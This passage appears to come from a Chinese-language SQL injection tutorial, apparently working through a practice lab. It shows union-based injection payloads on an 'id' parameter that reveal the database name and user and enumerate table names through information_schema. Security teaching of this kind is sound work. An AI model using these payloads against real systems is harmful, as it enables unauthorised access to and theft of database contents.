从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数:user()(查看当前用户)、database()(查看当前数据库)、version()(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句:?id=1 and 1=2 union select 1,database(),user() --+
通过上述注入可以得知,当前数据库名为security,当前用户为root。
确定当前数据库内表名
注入语句:?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+